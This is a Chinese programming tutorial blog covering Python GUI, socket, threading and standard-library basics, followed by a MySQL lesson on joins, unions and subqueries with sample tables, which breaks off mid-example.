图形用户界面是一种人与计算机通信的界面显示格式,允许用户使用鼠标等输入设备操纵屏幕上的图标或菜单选项,以选择命令、调用文件、启动程序或执行其它一些日常任务.与通过键盘输入文本或字符命令来完成例行任务的字符界面相比,图形用户界面有许多优点.图形用户界面由窗口、下拉菜单、对话框及其相应的控制机制构成,在各种新式应用程序中都是标准化的,即相同的操作总是以同样的方式来完成,在图形用户界面,用户看到和操作的都是图形对象,应用的是计算机图形学的技术. https://sunhwee.com/posts/80fa3a85.htmlhttps://sunhwee.com/posts/80fa3a85.html Tkinter的基本用法1234567891011121314151617181920# tk简介# -*- coding:utf-8 -*-"""作者:kali日期:2022年06月11日Blog:jiangjiyue.github.io"""from tkinter import *# 实例化对象window = Tk()# 窗口标题window.title('欢迎来到tk')# 宽度x高度+x偏移量+y偏移量window.geometry('400x200+400+200')window.mainloop() 12345678910111213141516171819202122232425262728293031323334# Label# -*- coding:utf-8 -*-"""作者:kali日期:2022年06月11日Blog:jiangjiyue.github.io"""from tkinter import *window = Tk()window.title('控件')window.geometry('600x400+400+200')# 控件一 标签 Label# height单位为行 width单位为字符inputLabel = Label(window, text='人生苦短,我用Python', bg='red', font='微软雅黑 12 normal', height=2,)inputLabel.pack(padx=5, pady=10)inputLabel2 = Label(window, text='人生苦短,我用Python2', bg='lightyellow', font='微软雅黑 12 normal', height=2,)inputLabel2.pack(padx=5, pady=10)# 标签水平填充 fill=XinputLabel3 = Label(window, text='标签水平方向填充', bg='red', font='微软雅黑 12 normal', height=2,)inputLabel3.pack(padx=5, pady=10, fill=X)# 标签水平填充+垂直填充 fill=BOTH, expand=TrueinputLabel3 = Label(window, text='水平填充+垂直填充', bg='lightgreen', font='微软雅黑 12 normal', height=2,)inputLabel3.pack(padx=5, pady=10, fill=BOTH, expand=True)window.mainloop() 123456789101112131415161718192021222324252627282930313233343536373839404142# Input# -*- coding:utf-8 -*-"""作者:kali日期:2022年06月11日Blog:jiangjiyue.github.io"""from tkinter import *window = Tk()def test_btn(): outputVar.set(inputVar.get()) print(inputVar.get())window.title('控件')window.geometry('600x400+400+200')# 容器 布局方法 pack() grid() place()topFrame = Frame()# height单位为行 width单位为字符inputLabel = Label(topFrame, text='请输入网址:', )inputLabel.pack(side=LEFT, padx=5)inputVar = StringVar()inputEntry = Entry(topFrame, textvariable=inputVar)inputEntry.pack(side=LEFT, padx=10)inputButton = Button(topFrame, text='按钮', command=test_btn)inputButton.pack(side=LEFT, pady=10)topFrame.pack(pady=10)outputVar = StringVar()outputLabel = Label(window, textvariable=outputVar, fg='green')outputLabel.pack()window.mainloop() Socket网络编程Socket套接字 套接字(Socket),就是对网络中不同主机上的应用进程之间进行双向通信的端点的抽象.一个套接字就是网络上进程通信的一端,提供了应用层进程利用网络协议交换数据的机制.从所处的地位来讲,套接字上联应用进程,下联网络协议栈,是应用程序通过网络协议进行通信的接口,是应用程序与网络协议栈进行交互的接口 socket模块的应用Tcp使用123456789101112131415161718192021222324252627282930313233343536# -*- coding:utf-8 -*-"""一对一模式PyNmae:socketServer作者:kali日期:2022年06月11日Blog:jiangjiyue.github.io"""import sockethostAddress = ('127.0.0.1', 8888)# 默认参数创建sk 使用Ipv4&TCP协议sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)# 绑定IP地址&Protsk.bind(hostAddress)# 监听sk.listen(5)print("启动socket服务,等待客户端连接...")# 阻塞 接收客户端的连接conn, clientAddress = sk.accept()while True: # 接收客户端发来的信息(bytes)需要解码 .decode()解码接收到的信息 data = conn.recv(1024).decode() if data: print('接收到客户端 %s 发送来的信息: %s' % (clientAddress, data)) # 将接收到的数据全部转换为大写并返回给客户端 res = data.upper() # res为str需要转换为bytes conn.sendall(res.encode()) if data == 'exit': print('客户端主动断开连接') break# 关闭socketconn.close() 12345678910111213141516171819202122232425262728# -*- coding:utf-8 -*-"""PyName:socketClient作者:kali日期:2022年06月11日Blog:jiangjiyue.github.io"""import socketserverAddress = ('127.0.0.1', 8888)sk = socket.socket()# 与服务器创建连接sk.connect(serverAddress)while True: dataStr = input('发送内容:').strip() # 向服务器发送消息 sk.send(dataStr.encode()) if dataStr == 'exit': print('客户端退出连接') break answer = sk.recv(1024).decode() print('收到服务器应答: %s' % answer)sk.close() 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748# 并发版,可有多个客户端# -*- coding:utf-8 -*-"""PyName:socketServer_upper作者:kali日期:2022年06月11日Blog:jiangjiyue.github.io"""import socketimport threadingdef deal(link, client): print('新线程开始处理客户端 %s:%s 的数据请求' % client) while True: # 接收客户端发来的信息(bytes)需要解码 .decode()解码接收到的信息 data = link.recv(1024).decode() if data: print('%s 发送来的信息: %s' % (client, data)) # 将接收到的数据全部转换为大写并返回给客户端 res = data.upper() # res为str需要转换为bytes link.sendall(res.encode()) if data == 'exit': print('%s:%s 客户端主动断开连接' % client) break # 关闭socket link.close()# 并发版hostAddress = ('127.0.0.1', 8888)# 默认参数创建sk 使用Ipv4&TCP协议sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)# 绑定IP地址&Protsk.bind(hostAddress)# 监听sk.listen(5)print("启动socket服务,等待客户端连接...")while True: # 阻塞 接收客户端的连接 conn, clientAddress = sk.accept() # 多线程并发 xd = threading.Thread(target=deal, args=(conn, clientAddress)) xd.start() Udp使用123456789101112131415161718192021222324# -*- coding:utf-8 -*-"""PyName:udp_Server作者:kali日期:2022年06月11日17时34分Blog:jiangjiyue.github.io"""import sockethostAddress = ('127.0.0.1', 8888)# SOCK_DGRAM使用UDP创建sk = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)sk.bind(hostAddress)print("启动[Udp]socket服务,等待客户端连接...")while True: data = sk.recv(1024).decode() print("Udp服务器接收到的数据:", data) if data == 'exit': print('客户端请求退出') breaksk.close() 123456789101112131415161718192021222324# -*- coding:utf-8 -*-"""PyName:udp_Client作者:kali日期:2022年06月11日17时34分Blog:jiangjiyue.github.io"""import sockethostAddress = ('127.0.0.1', 8888)sk = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)while True: dataStr = input('[Udp]发送内容:').strip() # 向服务器发送消息 sk.sendto(dataStr.encode(), hostAddress) if dataStr == 'exit': print('客户端退出') breaksk.close() socketserver模块的应用12345678910111213141516171819202122232425262728293031# socketserver模块的应用# -*- coding:utf-8 -*-"""PyName:socketserver作者:kali日期:2022年06月11日17时14分Blog:jiangjiyue.github.io"""import socketserverclass MyHandler(socketserver.BaseRequestHandler): def handle(self): while True: data = self.request.recv(1024).decode() if data == 'exit': print('%s:%s 客户端主动断开连接' % self.client_address) break print('%s 发送来的信息: %s' % (self.client_address, data)) # 将接收到的数据全部转换为大写并返回给客户端 res = data.upper() # res为str需要转换为bytes self.request.send(res.encode()) self.request.close()if __name__ == '__main__': hostAddress = ('127.0.0.1', 8888) server = socketserver.ThreadingTCPServer(hostAddress, MyHandler) print("启动socket服务,等待客户端连接...") server.serve_forever() 多线程程序、进程、线程 程序 进程 线程 静态的代码 程序运行后至少创建一个进程 进行起来的代码 程序的执行实例动态的 进程占用内存资源 1个进程至少包含1个线程 程序执行流的最小单元 是CPU的可执行上下文 同一个进程中的线程共享同一内存空间,数据共享 线程数据的安全性需要保护 Python多线程应用 多线程(multithreading),是指从软件或者硬件上实现多个线程并发执行的技术.具有多线程能力的计算机因有硬件支持而能够在同一时间执行多于一个线程,进而提升整体处理性能.具有这种能力的系统包括对称多处理机、多核心处理器以及芯片级多处理或同时多线程处理器.在一个程序中,这些独立运行的程序片段叫作”线程“(Thread),利用它编程的概念就叫作”多线程处理” Python多线程模块-threading1234567891011121314151617181920212223242526272829303132333435363738394041# -*- coding:utf-8 -*-"""threading多线程创建方式PyName:Python从入门到精通-threading_module作者:kali-PyCharm日期:2022年06月12日08时49分Blog:jiangjiyue.github.io"""import threading# 第一种 继承Thread# class MyThread(threading.Thread):# def __init__(self, thread_name):# super(MyThread, self).__init__(name=thread_name)## def run(self):# print('%s 在执行中' % self.name)### # 创建线程# for i in range(10):# MyThread('testThread' + str(i)).start()# 第二种(推荐)def show(num): print('当前线程: %d 在执行' % num)for i in range(10): # 第一个参数是线程函数变量,第二个参数args是一个数组变量参数,如果只传递一个值, # 就只需要i, 如果需要传递多个参数,那么还可以继续传递下去其他的参数 # 其中的逗号不能少,少了就不是数组了,就会出错 t = threading.Thread(target=show, args=(i,)) t.start() 1234567891011121314151617181920212223242526# -*- coding:utf-8 -*-"""线程合并场景PyName:Python从入门到精通-threading_eg1作者:kali-PyCharm日期:2022年06月12日09时49分Blog:jiangjiyue.github.io"""import threadingimport timedef waiting(): print('子线程开始等待..') time.sleep(3) print('子线程等待结束')print('主线程开始执行')t = threading.Thread(target=waiting)t.start()print('主线程的其他操作')# join等待子线程结束,主线程才会结束t.join()print('主线程结束') 1234567891011121314151617181920212223242526# -*- coding:utf-8 -*-"""守护线程场景PyName:Python从入门到精通-threading_eg2作者:kali-PyCharm日期:2022年06月12日10时08分Blog:jiangjiyue.github.io"""import threadingimport timedef waiting(): print(threading.current_thread().getName() + '子线程开始等待..') time.sleep(3) print(threading.current_thread().getName() + '子线程等待结束')print('主线程开始执行')for i in range(3): t = threading.Thread(target=waiting) # 主线程A中,创建了子线程B,并且在主线程A中调用了B.setDaemon(),这个的意思是,把主线程A设置为守护线程,这时候,要是主线程A执行结束了,就不管子线程B是否完成, # 一并和主线程A退出.这就是setDaemon方法的含义,这基本和join是相反的.此外,还有个要特别注意的:必须在start() 方法调用之前设置,如果不设置为守护线程,程序会被无限挂起. t.setDaemon(True) t.start()print('主线程结束') 线程安全与线程锁 互斥锁Lock RLock可重入锁 信号Semaphore 事件Event 条件Condition Barrier “阻碍” 1234567891011121314151617181920212223242526272829303132# -*- coding:utf-8 -*-"""线程安全PyName:Python从入门到精通-threading_eg3作者:kali-PyCharm日期:2022年06月12日10时33分Blog:jiangjiyue.github.io"""import threadingimport timenumber = 0# 定义一个互斥锁lock = threading.Lock()def add(lk): # 加了global,则可以在函数内部对函数外的对象进行操作了,也可以改变它的值了 global number # 加锁 with lk: for _ in range(1000000): number += 1 print('子线程 %s 执行结束后: number = %d ' % (threading.current_thread().getName(), number))for i in range(2): threading.Thread(target=add, args=(lock,)).start()time.sleep(3)print('主线程结束 number = ' + str(number)) 标准库os operation system(操作系统)的缩写,这个库就是对操作系统的封装.os模块提供了多数操作系统的功能接口函数 系统相关变量和操作1234567891011121314151617181920212223242526272829303132333435363738394041# -*- coding:utf-8 -*-"""PyName:Python从入门到精通-os_module作者:kali-PyCharm日期:2022年06月12日12时02分Blog:jiangjiyue.github.io"""import os# 系统相关的内容print(os.name)# 环境变量print(os.environ)# 查看分隔符print(os.sep)print(os.pathsep)# 文件和目录操作# 创建目录# os.mkdir('test')# 状态print(os.stat('test'))# 当前路径print(os.getcwd())# 重命名# os.rename('test', 'test2')# isabs 判断是否为绝对路径 return True And Falsefile = os.getcwd()+r'\\os_module.py'print(file)print(os.path.isabs(file))# isdir:判断目录是否存在 isfile:判断文件是否存在# 判断文件是否存在print(os.path.exists(file))# getatime 最后修改时间print(os.path.getatime(file))# getctime 创建时间print(os.path.getctime(file))# 文件大小print(os.path.getsize(file)) 文件和目录相关操作执行命令和管理进程12# os: system popenos.system('ipconfig') sys “sys”即”system”,”系统”之意.该模块提供了一些接口,用于访问 Python 解释器自身使用和维护的变量,同时模块中还提供了一部分函数,可以与解释器进行比较深度的交互. 方法 描述 sys.argv() 实现从程序的外部向程序传递参数 返回的是一个列表, 第一个元素是程序文件名, 第二个元素是程序外部传入的参数 sys.path() 获取指定模块搜索路径的字符串集合, 返回的是一个列表 (表示可以使用 append或者insert) 可以将写好的模块放入某个路径下, 然后将这个路径添加到 sys.path 里面, import时就可以找到 sys.exit(n) 退出程序, 正常退出时 sys.exit(0), 其他为异常退出 一般情况下运行到主程序尾部, 解释器就正常退出了, 但如果想要中途退出, 就可以调用 sys.exit 函数 sys.version() 获取 Python 解释程序的版本信息 sys.platform() 返回操作系统平台名称 sys.maxsize() 最大的 int 值 sys.getdefaultencoding( ) 获取解释器默认编码 sys.getfilesystemencoding( ) 获取内存数据存到文件里的默认编码 sys.getrecursionlimit( ) 获取最大递归层数 sys.setrecursionlimit( ) 设置最大递归层数 sys.stdin.readline( ) 标准输入 sys.stdout.write(“xxx”) 标准输出 (相比较 print 能更好的控制输出) 123456789101112131415161718192021222324# -*- coding:utf-8 -*-"""PyName:Python从入门到精通-sys_module作者:kali-PyCharm日期:2022年06月12日13时45分Blog:jiangjiyue.github.io"""import sys# 运行环境版本号print(sys.version)# 当前版本能够表示最大的intprint(sys.maxsize)# python所查找的路径print(sys.path)# 操作系统标识(根据Python所安装来标识)print(sys.platform)# Python版权信息print(sys.copyright)# 参数print(sys.argv)# 默认编码print(sys.getdefaultencoding()) random random模块用于生成伪随机数. 真正意义上的随机数(或者随机事件)是按照实验过程中表现的分布概率随机产生的,其结果是不可预测的. 而计算机中的随机数是所谓的随机函数按照一定算法模拟产生的,其结果是确定的,是可预测的. 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556# -*- coding:utf-8 -*-"""PyName:Python从入门到精通-random_module作者:kali-PyCharm日期:2022年06月12日14时23分Blog:jiangjiyue.github.io"""import randomimport stringdef demo_random(): # 生成随机的整数 print(random.randint(1, 100)) # 随机生成基数用randrange,random.randrange ([start,] stop [,step]) print(random.randrange(1, 101, 2)) # 生成随机的浮点数 print(random.random()) # 范围0.0-1.0 # 指定范围生成浮点数 print(random.uniform(10.0, 11.0)) # 非数字类型的随机抽样 target_list = ['a', 'b', 'c', 'd', 'e', 'f'] print(random.choice(target_list)) # 乱序 print(target_list) # random.shuffle 必须是可改变的列表,元组也不行 # random.shuffle(target_list) # print(target_list) # 在target_list列表中随机抽取4个适用于任何元素 print(random.sample(target_list, 4)) print(random.sample(target_list, len(target_list))) print(target_list)# 生成随机密码的字符串 字母+符号 可以指定生成字符串的位数def random_str(length): # 随机生成数字和字母的位数 num_count = random.randint(1, length / 2) letter_count = length - num_count # 生成随机列表 num_list = [random.choice(string.digits) for _ in range(num_count)] letter_list = [random.choice(string.ascii_letters) for _ in range(letter_count)] # 列表+列表=列表 results = num_list + letter_list # 乱序密码 random.shuffle(results) # 将列表拼接成字符串 result = "".join([i for i in results]) return resultif __name__ == '__main__': print(random_str(10)) timetime模块中三种时间表示方式 时间戳 结构化时间对象 格式化时间字符串 格式符 说明 %a 星期的英文单词的缩写:如星期一, 则返回 Mon %A 星期的英文单词的全拼:如星期一,返回 Monday %b 月份的英文单词的缩写:如一月, 则返回 Jan %B 月份的引文单词的缩写:如一月, 则返回 January %c 返回datetime 的字符串表示,如03/08/15 23:01:26 %d 返回的是当前时间是当前月的第几天 %f 微秒的表示: 范围: [0,999999] %H 以24小时制表示当前小时 %I 以12小时制表示当前小时 %j 返回 当天是当年的第几天 范围[001,366] %m 返回月份 范围[0,12] %M 返回分钟数 范围 [0,59] %P 返回是上午还是下午–AM or PM %S 返回秒数 范围 [0,61]…手册说明的 %U 返回当周是当年的第几周 以周日为第一天 %W 返回当周是当年的第几周 以周一为第一天 %w 当天在当周的天数,范围为[0, 6],6表示星期天 %x 日期的字符串表示 :03/08/15 %X 时间的字符串表示 :23:22:08 %y 两个数字表示的年份 15 %Y 四个数字表示的年份 2015 %z 与utc时间的间隔 (如果是本地时间,返回空字符串) %Z 时区名称(如果是本地时间,返回空字符串) 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859# -*- coding:utf-8 -*-"""PyName:Python从入门到精通-time_module作者:kali-PyCharm日期:2022年06月12日16时13分Blog:jiangjiyue.github.io"""import time# 时间戳 1970年1月1日 0:0 到指定时间的间隔# 打印当前的时间戳print(time.time())# 结构化时间对象 对象的属性是只读的st = time.localtime()print(type(st))# 本质是一个tuple 使用索引的方式print('今天是{}年-{:02d}月-{:02d}日'.format(st[0], st[1], st[2]))print('今天是星期{}'.format(st.tm_wday + 1))# 格式化时间字符串print(time.ctime())# time.strftime(时间格式) '%Y-%m-%d %H:%M:%S'print(time.strftime('%Y年%m月%d日 %H时:%M分:%S秒'))print(time.strftime('%Y-%m-%d %H:%M:%S'))# # sleep 让程序睡一会~# t1 = time.time()# print('sleep start')# time.sleep(3)# print('sleep end')# t2 = time.time()# print('执行了{:.3f}秒'.format(t2 - t1))print(' ', end='')# 三种格式之间的转换print('时间戳 --> 结构化对象')# UTC时间print(time.gmtime())print(time.gmtime(time.time() - 3600))# localprint(time.localtime())print(time.localtime(time.time() - 3600))print(' ', end='')print('结构化对象 --> 时间戳')print(time.mktime(time.localtime()))print(' ', end='')print('结构化对象 --> 格式化时间字符串')# time.strftime(format,str) 参数二为结构化对象print(time.localtime())print(time.strftime('%Y年%m月%d日 %H时:%M分:%S秒', time.localtime()))print(' ', end='')print('格式化的字符串 --> 结构化时间对象')# time.strptime(str,format)strtime = '2022-06-12 16:40:20'print(time.strptime(strtime, '%Y-%m-%d %H:%M:%S'))","tags":["编程语言","Python"],"categories":["编程语言","Python"]},{"title":"Linux-MySQL从入门到精通(下)","path":"/2024/01/31/375e6e18/","content":"总字符数: 19.91K 代码: 10.67K, 文本: 5.08K 预计阅读时间: 1.14 小时 多表查询我们之前在讲解SQL语句的时候,讲解了DQL语句,也就是数据查询语句,但是之前讲解的查询都是单表查询,而本章节我们要学习的则是多表查询操作,主要从以下几个方面进行讲解. 多表关系项目开发中,在进行数据库表结构设计时,会根据业务需求及业务模块之间的关系,分析并设计表结构,由于业务之间相互关联,所以各个表结构之间也存在着各种联系,基本上分为三种: 一对多(多对一) 多对多 一对一 一对多案例: 部门 与 员工的关系关系: 一个部门对应多个员工,一个员工对应一个部门实现: 在多的一方建立外键,指向一的一方的主键 多对多案例: 学生与课程的关系关系: 一个学生可以选修多门课程,一门课程也可以供多个学生选择实现: 建立第三张中间表,中间表至少包含两个外键,分别关联两方主键 对应的SQL脚本: 1234567891011121314151617181920212223242526272829303132333435363738CREATE TABLE student ( id INT AUTO_INCREMENT PRIMARY KEY COMMENT '主键ID', name VARCHAR(10) COMMENT '姓名', no VARCHAR(10) COMMENT '学号') COMMENT '学生表';INSERT INTO student (name, no) VALUES ('黛绮丝', '2000100101'),('谢逊', '2000100102'),('殷天正', '2000100103'),('韦一笑', '2000100104');CREATE TABLE course ( id INT AUTO_INCREMENT PRIMARY KEY COMMENT '主键ID', name VARCHAR(10) COMMENT '课程名称') COMMENT '课程表';INSERT INTO course (name) VALUES ('Java'), ('PHP'), ('MySQL'), ('Hadoop');CREATE TABLE student_course ( id INT AUTO_INCREMENT PRIMARY KEY COMMENT '主键', studentid INT NOT NULL COMMENT '学生ID', courseid INT NOT NULL COMMENT '课程ID', CONSTRAINT fk_courseid FOREIGN KEY (courseid) REFERENCES course (id), CONSTRAINT fk_studentid FOREIGN KEY (studentid) REFERENCES student (id)) COMMENT '学生课程中间表';INSERT INTO student_course (studentid, courseid) VALUES (1, 1),(1, 2),(1, 3),(2, 2),(2, 3),(3, 4); 一对一案例: 用户 与 用户详情的关系关系: 一对一关系,多用于单表拆分,将一张表的基础字段放在一张表中,其他详情字段放在另一张表中,以提升操作效率实现: 在任意一方加入外键,关联另外一方的主键,并且设置外键为唯一的(UNIQUE) 对应的SQL脚本: 123456789101112131415161718192021222324252627282930CREATE TABLE tb_user ( id INT AUTO_INCREMENT PRIMARY KEY COMMENT '主键ID', name VARCHAR(10) COMMENT '姓名', age INT COMMENT '年龄', gender CHAR(1) COMMENT '1: 男 , 2: 女', phone CHAR(11) COMMENT '手机号') COMMENT '用户基本信息表';CREATE TABLE tb_user_edu ( id INT AUTO_INCREMENT PRIMARY KEY COMMENT '主键ID', degree VARCHAR(20) COMMENT '学历', major VARCHAR(50) COMMENT '专业', primaryschool VARCHAR(50) COMMENT '小学', middleschool VARCHAR(50) COMMENT '中学', university VARCHAR(50) COMMENT '大学', userid INT UNIQUE COMMENT '用户ID', CONSTRAINT fk_userid FOREIGN KEY (userid) REFERENCES tb_user(id)) COMMENT '用户教育信息表';INSERT INTO tb_user (name, age, gender, phone) VALUES ('黄渤', 45, '1', '18800001111'),('冰冰', 35, '2', '18800002222'),('码云', 55, '1', '18800008888'),('李彦宏', 50, '1', '18800009999');INSERT INTO tb_user_edu (degree, major, primaryschool, middleschool, university, userid) VALUES ('本科', '舞蹈', '静安区第一小学', '静安区第一中学', '北京舞蹈学院', 1),('硕士', '表演', '朝阳区第一小学', '朝阳区第一中学', '北京电影学院', 2),('本科', '英语', '杭州市第一小学', '杭州市第一中学', '杭州师范大学', 3),('本科', '应用数学', '阳泉第一小学', '阳泉区第一中学', '清华大学', 4); 多表查询概述数据准备 删除之前 emp, dept表的测试数据 执行如下脚本,创建emp表与dept表并插入测试数据 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647-- 创建dept表,并插入数据CREATE TABLE dept ( id INT AUTO_INCREMENT COMMENT 'ID' PRIMARY KEY, name VARCHAR(50) NOT NULL COMMENT '部门名称') COMMENT '部门表';INSERT INTO dept (name) VALUES ('研发部'), ('市场部'),('财务部'), ('销售部'), ('总经办'), ('人事部');-- 创建emp表,并插入数据CREATE TABLE emp ( id INT AUTO_INCREMENT COMMENT 'ID' PRIMARY KEY, name VARCHAR(50) NOT NULL COMMENT '姓名', age INT COMMENT '年龄', job VARCHAR(20) COMMENT '职位', salary INT COMMENT '薪资', entrydate DATE COMMENT '入职时间', managerid INT COMMENT '直属领导ID', dept_id INT COMMENT '部门ID', FOREIGN KEY (dept_id) REFERENCES dept(id)) COMMENT '员工表';INSERT INTO emp (name, age, job, salary, entrydate, managerid, dept_id) VALUES ('金庸', 66, '总裁', 20000, '2000-01-01', NULL, 5), ('张无忌', 20, '项目经理', 12500, '2005-12-05', 1, 1), ('杨逍', 33, '开发', 8400, '2000-11-03', 2, 1), ('韦一笑', 48, '开发', 11000, '2002-02-05', 2, 1), ('常遇春', 43, '开发', 10500, '2004-09-07', 3, 1), ('小昭', 19, '程序员鼓励师', 6600, '2004-10-12', 2, 1), ('灭绝', 60, '财务总监', 8500, '2002-09-12', 1, 3), ('周芷若', 19, '会计', 4800, '2006-06-02', 7, 3), ('丁敏君', 23, '出纳', 5250, '2009-05-13', 7, 3), ('赵敏', 20, '市场部总监', 12500, '2004-10-12', 1, 2), ('鹿杖客', 56, '职员', 3750, '2006-10-03', 10, 2), ('鹤笔翁', 19, '职员', 3750, '2007-05-09', 10, 2), ('方东白', 19, '职员', 5500, '2009-02-12', 10, 2), ('张三丰', 88, '销售总监', 14000, '2004-10-12', 1, 4), ('俞莲舟', 38, '销售', 4600, '2004-10-12', 14, 4), ('宋远桥', 40, '销售', 4600, '2004-10-12', 14, 4), ('陈友谅', 42, NULL, 2000, '2011-10-12', 1, NULL);-- dept表共6条记录,emp表共17条记录. 概述多表查询就是指从多张表中查询数据.原来查询单表数据,执行的SQL形式为:select * from emp; 那么我们要执行多表查询,就只需要使用逗号分隔多张表即可,如: select * from emp , dept ;具体的执行结果如下: 此时,我们看到查询结果中包含了大量的结果集,总共102条记录,而这其实就是员工表emp所有的记录 (17) 与 部门表dept所有记录(6) 的所有组合情况,这种现象称之为笛卡尔积.接下来,就来简单介绍下笛卡尔积.笛卡尔积: 笛卡尔乘积是指在数学中,两个集合A集合 和 B集合的所有组合情况 而在多表查询中,我们是需要消除无效的笛卡尔积的,只保留两张表关联部分的数据. 在SQL语句中,如何来去除无效的笛卡尔积呢? 我们可以给多表查询加上连接查询的条件即可.select * from emp , dept where emp.dept_id = dept.id; 而由于id为17的员工,没有dept_id字段值,所以在多表查询时,根据连接查询的条件并没有查询到. 分类 连接类型 描述 特点 内连接 只查询两个表中匹配的数据. 结果集中仅包含两表中都有的记录. 左外连接 查询左表所有数据以及两表交集部分数据. 结果集包含左表所有记录,如果右表中有匹配,则包含右表数据,否则右表部分为NULL. 右外连接 查询右表所有数据以及两表交集部分数据. 结果集包含右表所有记录,如果左表中有匹配,则包含左表数据,否则左表部分为NULL. 全外连接 查询两表所有数据,不仅仅是交集部分. 结果集包括左表和右表的所有记录,匹配的行将一起显示,不匹配的行则与NULL填充. 自连接 当前表与自身进行连接查询,必须使用表别名以区分同一表的不同实例. 常用于查询具有层次或树状结构的数据. 内连接 内连接查询的目的是返回两张表中匹配关联条件的交集部分的数据. 语法结构内连接的语法有隐式和显式两种不同的形式: 隐式内连接使用逗号分隔表名,然后在WHERE子句中指定条件. 123SELECT 字段列表FROM 表1, 表2WHERE 条件...; 显式内连接使用INNER JOIN关键字连接两个表,并在ON子句中指定连接条件. 12SELECT 字段列表FROM 表1 [INNER] JOIN 表2 ON 连接条件...; 案例设有两个表结构emp和dept,员工表emp和部门表dept通过dept_id关联. A. 隐式内连接实现查询员工姓名及其关联的部门名称123456789-- 不使用别名SELECT emp.name, dept.nameFROM emp, deptWHERE emp.dept_id = dept.id;-- 使用别名简化SQLSELECT e.name, d.nameFROM emp e, dept dWHERE e.dept_id = d.id; B. 显式内连接实现查询员工姓名及其关联的部门名称123456789-- 使用INNER JOIN关键字和表别名SELECT e.name, d.nameFROM emp eINNER JOIN dept d ON e.dept_id = d.id;-- 省略INNER关键字SELECT e.name, d.nameFROM emp eJOIN dept d ON e.dept_id = d.id; 表的别名使用表别名可以在FROM子句中使用AS关键字定义,也可以直接跟在表名之后. 12345-- 使用AS关键字定义别名SELECT * FROM tablea AS a, tableb AS b;-- 直接跟在表名之后定义别名SELECT * FROM tablea a, tableb b; 注意事项 别名一旦定义,在当前查询语句中必须使用别名来引用表内的字段. 原始表名在定义别名后在当前查询中不再使用. 外连接 外连接包括左外连接和右外连接,用于不仅查询表之间的匹配数据,还包括左表或右表中的所有数据. 语法结构1. 左外连接使用LEFT [OUTER] JOIN关键字,通常用于查询左表(表1)的全部数据,以及两表交集的数据. 123SELECT 字段列表FROM 表1 LEFT [OUTER] JOIN 表2ON 条件...; 2. 右外连接使用RIGHT [OUTER] JOIN关键字,通常用于查询右表(表2)的全部数据,以及两表交集的数据. 123SELECT 字段列表FROM 表1 RIGHT [OUTER] JOIN 表2ON 条件...; 案例A. 左外连接查询emp表的所有数据,以及与之对应的部门信息. 假设有两个表emp和dept,员工表emp通过dept_id与部门表dept关联. 1234567891011-- 使用LEFT OUTER JOIN关键字SELECT e.*, d.nameFROM emp eLEFT OUTER JOIN dept dON e.dept_id = d.id;-- 省略OUTER关键字SELECT e.*, d.nameFROM emp eLEFT JOIN dept dON e.dept_id = d.id; B. 右外连接查询dept表的所有数据,以及与之对应的员工信息. 1234567891011-- 使用RIGHT OUTER JOIN关键字SELECT d.*, e.*FROM emp eRIGHT OUTER JOIN dept dON e.dept_id = d.id;-- 将右外连接替换为左外连接SELECT d.*, e.*FROM dept dLEFT OUTER JOIN emp eON e.dept_id = d.id; 注意事项 左外连接和右外连接在逻辑上是可以互相转换的,只需要调整连接查询时SQL中表的先后位置. 在实际开发中,左外连接比右外连接使用得更为频繁. 自连接自连接查询自连接指的是一张表与其自身进行连接查询.自连接可以是内连接也可以是外连接. 语法结构自连接至少需要为同一张表设定两个不同的别名,以区分连接中的两个不同的表角色. 1234SELECT 字段列表FROM 表A 别名A[INNER/LEFT/RIGHT] JOIN 表A 别名BON 条件...; 案例A. 查询员工及其所属领导的名字在emp表中通过managerid关联自己,以查询员工及其对应的领导名字. 123SELECT a.name AS '员工', b.name AS '领导'FROM emp aJOIN emp b ON a.managerid = b.id; B. 查询所有员工及其领导的名字,包括没有领导的员工使用左外连接以确保即使员工没有领导也会被查询出来. 123SELECT a.name AS '员工', b.name AS '领导'FROM emp aLEFT JOIN emp b ON a.managerid = b.id; 注意事项 在进行自连接时,别名的使用是必须的,以便清楚地区分条件和字段所属的表的不同实例. 不使用别名将导致查询语句在引用字段时产生歧义. 联合查询UNION查询用于合并两个或多个SELECT语句的结果集,返回一个新的结果集. 语法结构使用UNION或UNION ALL将多个查询合并,需确保每个查询中的字段数目和数据类型都一致. 123SELECT 字段列表 FROM 表A ...UNION [ALL]SELECT 字段列表 FROM 表B ...; 特点 UNION在合并结果集时会自动去除重复的记录. UNION ALL直接合并结果集,包含所有重复记录. 案例A. 查询薪资低于5000或年龄大于50岁的员工可以使用OR逻辑运算符进行查询,也可以使用UNION或UNION ALL来实现. 12345678910111213141516171819202122-- 使用OR逻辑运算符SELECT *FROM empWHERE salary < 5000 OR age > 50;-- 使用UNION ALL联合查询SELECT *FROM empWHERE salary < 5000UNION ALLSELECT *FROM empWHERE age > 50;-- 使用UNION去除重复记录SELECT *FROM empWHERE salary < 5000UNIONSELECT *FROM empWHERE age > 50; 注意事项 在使用UNION时,每个查询必须有相同数量的列,列的顺序和类型必须兼容. 如果希望包含重复行,应使用UNION ALL. 如果想要结果集排序,只能在最后一个SELECT语句后使用ORDER BY子句. union all查询出来的结果,仅仅进行简单的合并,并未去重 1select * from emp where salary < 5000 union sselect * from emp where age > 50; union 联合查询,会对查询出来的结果进行去重处理 如果多条查询语句查询出来的结果,字段数量不一致,在进行union/union all联合查询时,将会报错 子查询概念SQL语句中嵌套SELECT语句,称为嵌套查询,又称子查询. 1SELECT * FROM t1 WHERE column1 = ( SELECT column1 FROM t2 ); 子查询外部的语句可以是INSERT / UPDATE / DELETE / SELECT 的任何一个. 分类根据子查询结果不同,分为: 标量子查询(子查询结果为单个值) 列子查询(子查询结果为一列) 行子查询(子查询结果为一行) 表子查询(子查询结果为多行多列) 根据子查询位置,分为: WHERE之后 FROM之后 SELECT之后 标量子查询标量子查询返回单个值的子查询,常与比较操作符结合使用. 常用操作符 等于= 不等于<> 大于> 大于等于>= 小于< 小于等于<= 案例A. 查询”销售部”的所有员工信息可以通过子查询找到”销售部”的部门ID,然后使用该ID查询员工信息. 12345-- 查询"销售部"的部门IDSELECT id FROM dept WHERE name = '销售部';-- 